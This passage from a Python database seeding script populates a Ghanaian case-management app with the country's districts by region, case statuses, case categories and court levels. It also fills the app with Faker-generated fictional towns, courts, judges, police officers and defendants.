ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Atebubu-Amantin District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Banda District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Berekum Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Dormaa East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Dormaa Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Dormaa West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Jaman North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Jaman South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Kintampo North Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Kintampo South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Nkoranza North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Nkoranza South Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Pru District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Sene District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Sene West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Sunyani Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Sunyani West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Tain District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Tano North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Tano South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Techiman Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Techiman North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Wenchi Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); db.s.commit() # Central ds = models.District(); ds.name='Abura/Asebu/Kwamankese District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Agona East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Agona West Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Ajumako/Enyan/Essiam District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Asikuma/Odoben/Brakwa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Assin North Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Assin South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Awutu-Senya District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Awutu Senya East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Cape Coast Metropolitan District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Effutu Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Ekumfi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Gomoa East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Gomoa West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Komenda/Edina/Eguafo/Abirem Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Mfantsiman Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Twifo-Ati Mokwa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Twifo/Heman/Lower Denkyira District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Upper Denkyira East Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); ds = models.District(); ds.name='Upper Denkyira West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 3;db.s.add(ds); db.s.commit() # Eastern ds = models.District(); ds.name='Akuapim South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Afram Plains South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Akuapim North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Akuapim South Municipal'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Akyemansa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Asuogyaman District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Ayensuano District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Atiwa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Birim Central Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Birim North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Birim South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Denkyembour District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='East Akim Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Fanteakwa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Kwaebibirem District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Kwahu East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Kwahu North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Kwahu South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Kwahu West Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Lower Manya Krobo District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='New-Juaben Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Suhum/Kraboa/Coaltar District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Upper Manya Krobo District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Upper West Akim District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='West Akim Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); ds = models.District(); ds.name='Yilo Krobo Municipal'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 4;db.s.add(ds); db.s.commit() # Greater Accra ds = models.District(); ds.name='Accra Metropolitan District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ada West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Adenta Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ashaiman Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Dangme East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Dangme West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ga Central District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ga East Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ga South Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ga West Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Kpone Katamanso District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='La Dade Kotopon Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='La Nkwantanang Madina District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ledzokuku-Krowor Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Ningo Prampram District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); ds = models.District(); ds.name='Tema Metropolitan District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 5;db.s.add(ds); db.s.commit() # Northern Region ds = models.District(); ds.name='Bole District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Bunkpurugu-Yunyoo District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Central Gonja District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Chereponi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='East Gonja District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='East Mamprusi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Gushegu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Karaga District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Kpandai District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Kumbungu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Mamprugo Moaduri District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Mion District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Nanumba North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Nanumba South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='North Gonja District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Saboba District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Sagnarigu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Savelugu-Nanton District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Sawla-Tuna-Kalba District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Tamale Metropolitan District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Tatale Sangule District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Tolon District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='West Gonja District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='West Mamprusi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name='Yendi Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); ds = models.District(); ds.name=ds = models.District(); ds.name='Zabzugu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 6;db.s.add(ds); db.s.commit() # Upper East ds = models.District(); ds.name='Bawku Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Bawku West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Binduri District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Bolgatanga Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Bongo District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Builsa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Builsa South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Garu-Tempane District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Kassena Nankana East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Kassena Nankana West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Nabdam District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Pusiga District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); ds = models.District(); ds.name='Talensi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 7;db.s.add(ds); db.s.commit() # Upper West ds = models.District(); ds.name='Daffiama Bussie Issa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Jirapa District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Lambussie Karni District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Lawra District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Nadowli District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Nandom District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Sissala East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Sissala West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Wa East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Wa Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); ds = models.District(); ds.name='Wa West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 8;db.s.add(ds); db.s.commit() # Volta ds = models.District(); ds.name='Adaklu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Afadjato South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Agotime Ziope District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Akatsi North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Akatsi South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Biakoye District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Central Tongu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Ho Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Ho West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Hohoe Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Jasikan District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Kadjebi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Keta Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Ketu North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Ketu South Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Kpando Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Krachi East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Krachi Nchumuru District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Krachi West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Nkwanta North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='Nkwanta South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='North Dayi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='North Tongu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='South Dayi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); ds = models.District(); ds.name='South Tongu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 9;db.s.add(ds); db.s.commit() # Western Regin ds = models.District(); ds.name='Ahanta West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Aowin/Suaman District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Bia District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Bia East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Bibiani/Anhwiaso/Bekwai District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Bodi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Ellembele District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Jomoro District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Juabeso District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Mpohor District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Mpohor/Wassa East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Nzema East Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Prestea-Huni Valley District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Sefwi Akontombra District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Sefwi-Wiawso District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Sekondi Takoradi Metropolitan Assembly'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Shama District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Suaman District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Tarkwa-Nsuaem Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Wasa Amenfi East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Wasa Amenfi West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); ds = models.District(); ds.name='Wassa Amenfi Central District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 10;db.s.add(ds); db.s.commit() # Gender gd = models.Gender(); gd.name = 'Female'; db.s.add(gd); db.s.commit() gd = models.Gender(); gd.name = 'Male'; db.s.add(gd); db.s.commit() # Case Status gd = models.Casestatus(); gd.name = 'Initated'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Reported'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Under Investigation'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Investigation Complete'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Referred to AG'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Remanded'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'First Hearing'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Arrested'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Awaiting Sentencing'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Acquitted'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Nolle Prosequi'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Sentenced'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Closed'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Bail pending Appeal'; db.s.add(gd); db.s.commit() gd = models.Casestatus(); gd.name = 'Bail pending Trial'; db.s.add(gd); db.s.commit() cc = models.Casecategory(); cc.name = 'Cybercrime'; cc.created_by_fk=1; cc.changed_by_fk=1; db.s.add(cc); db.s.commit() cc = models.Casecategory(); cc.name = 'Border'; cc.created_by_fk=1; cc.changed_by_fk=1; db.s.add(cc); db.s.commit() cc = models.Casecategory(); cc.name = 'Fraud'; cc.created_by_fk=1; cc.changed_by_fk=1; db.s.add(cc); db.s.commit() cc = models.Casecategory(); cc.name = 'Violence'; cc.created_by_fk=1; cc.changed_by_fk=1; db.s.add(cc); db.s.commit() cc = models.Casecategory(); cc.name = 'Domestic Abuse'; cc.created_by_fk=1; cc.changed_by_fk=1; db.s.add(cc); db.s.commit() cc = models.Casecategory(); cc.name = 'Narcotics'; cc.created_by_fk=1; cc.changed_by_fk=1; db.s.add(cc); db.s.commit() cc = models.Casecategory(); cc.name = 'Maritime'; cc.created_by_fk=1; cc.changed_by_fk=1; db.s.add(cc); db.s.commit() cl = models.Courtlevel(); cl.name = 'Supreme Court'; db.s.add(cl); db.s.commit() cl = models.Courtlevel(); cl.name = 'Court of Appeal'; db.s.add(cl); db.s.commit() cl = models.Courtlevel(); cl.name = 'High Court'; db.s.add(cl); db.s.commit() cl = models.Courtlevel(); cl.name = 'Circuit'; db.s.add(cl); db.s.commit() # # from mixer.backend.flask import mixer # from app import app # mixer.init_app(app) from faker import Faker fake = Faker() # Now load Towns print "Creating Towns" for ds in db.session.query(models.District): for _ in range(0,10): town = models.Town() town.name = fake.city() + ' '+ fake.name() town.district_fk = ds.id town.created_by_fk = 1 town.changed_by_fk = 1 town.lat = fake.latitude() town.lng = fake.longitude() db.s.add(town) db.s.commit() # Load Courts print 'Creating some courts' for ds in db.session.query(models.Town): for _ in range(0,3): court = models.Court() # + ' ' +fake.city() court.name = fake.company() + ' Court'+str(randint(2000, 50000)) court.town_fk = randint(1,1000) court.court_level_fk = 4 # court.town_fk = randint(1,600) court.created_by_fk = 1 court.changed_by_fk = 1 court.lat = fake.latitude() court.lng = fake.longitude() db.s.add(court) db.s.commit() print 'Give 50 Judges Italian names :-)' fake = Factory.create('it_IT') for _ in range(0,50): t = models.Judge() t.name = fake.name() t.court_level_fk = randint(1,4) t.court_fk = randint(1,10) t.appelation = 'Justice' # t.changed_by_fk = 1 # t.lat = fake.latitude() # t.lon = fake.longitude() db.s.add(t) db.s.commit() print "Police Stations" for _ in range(0,200): court = models.Policestation() # + ' ' +fake.city() court.name = fake.company() + ' Station'+str(randint(2, 50000)) court.town_fk = randint(1,1000) #court.court_level_fk = 4 # court.town_fk = randint(1,600) court.created_by_fk = 1 court.changed_by_fk = 1 court.lat = fake.latitude() court.lng = fake.longitude() db.s.add(court) print 'Generating 300 German policemen' fake = Factory.create('de_DE') for _ in range(0,300): t = models.Policeman() t.firstname = fake.first_name() t.surname =fake.last_name() t.service_number = fake.ssn() t.gender_fk = randint(1,2) t.police_station_fk = randint(1,100) # t.court_level_fk = 3 # t.court = fake.random(10) # t.changed_by_fk = 1 # t.lat = fake.latitude() # t.lon = fake.longitude() db.s.add(t) db.s.commit() print "Czech Defendants" fake = Factory.create('cs_CZ') for _ in range(0,300): t = models.Defendant() t.firstname = fake.first_name() t.surname =fake.last_name() #t.service_number = fake.ssn() t.gender_fk = randint(1,2) # t.court_level_fk = 3 # t.court = fake.random(10) 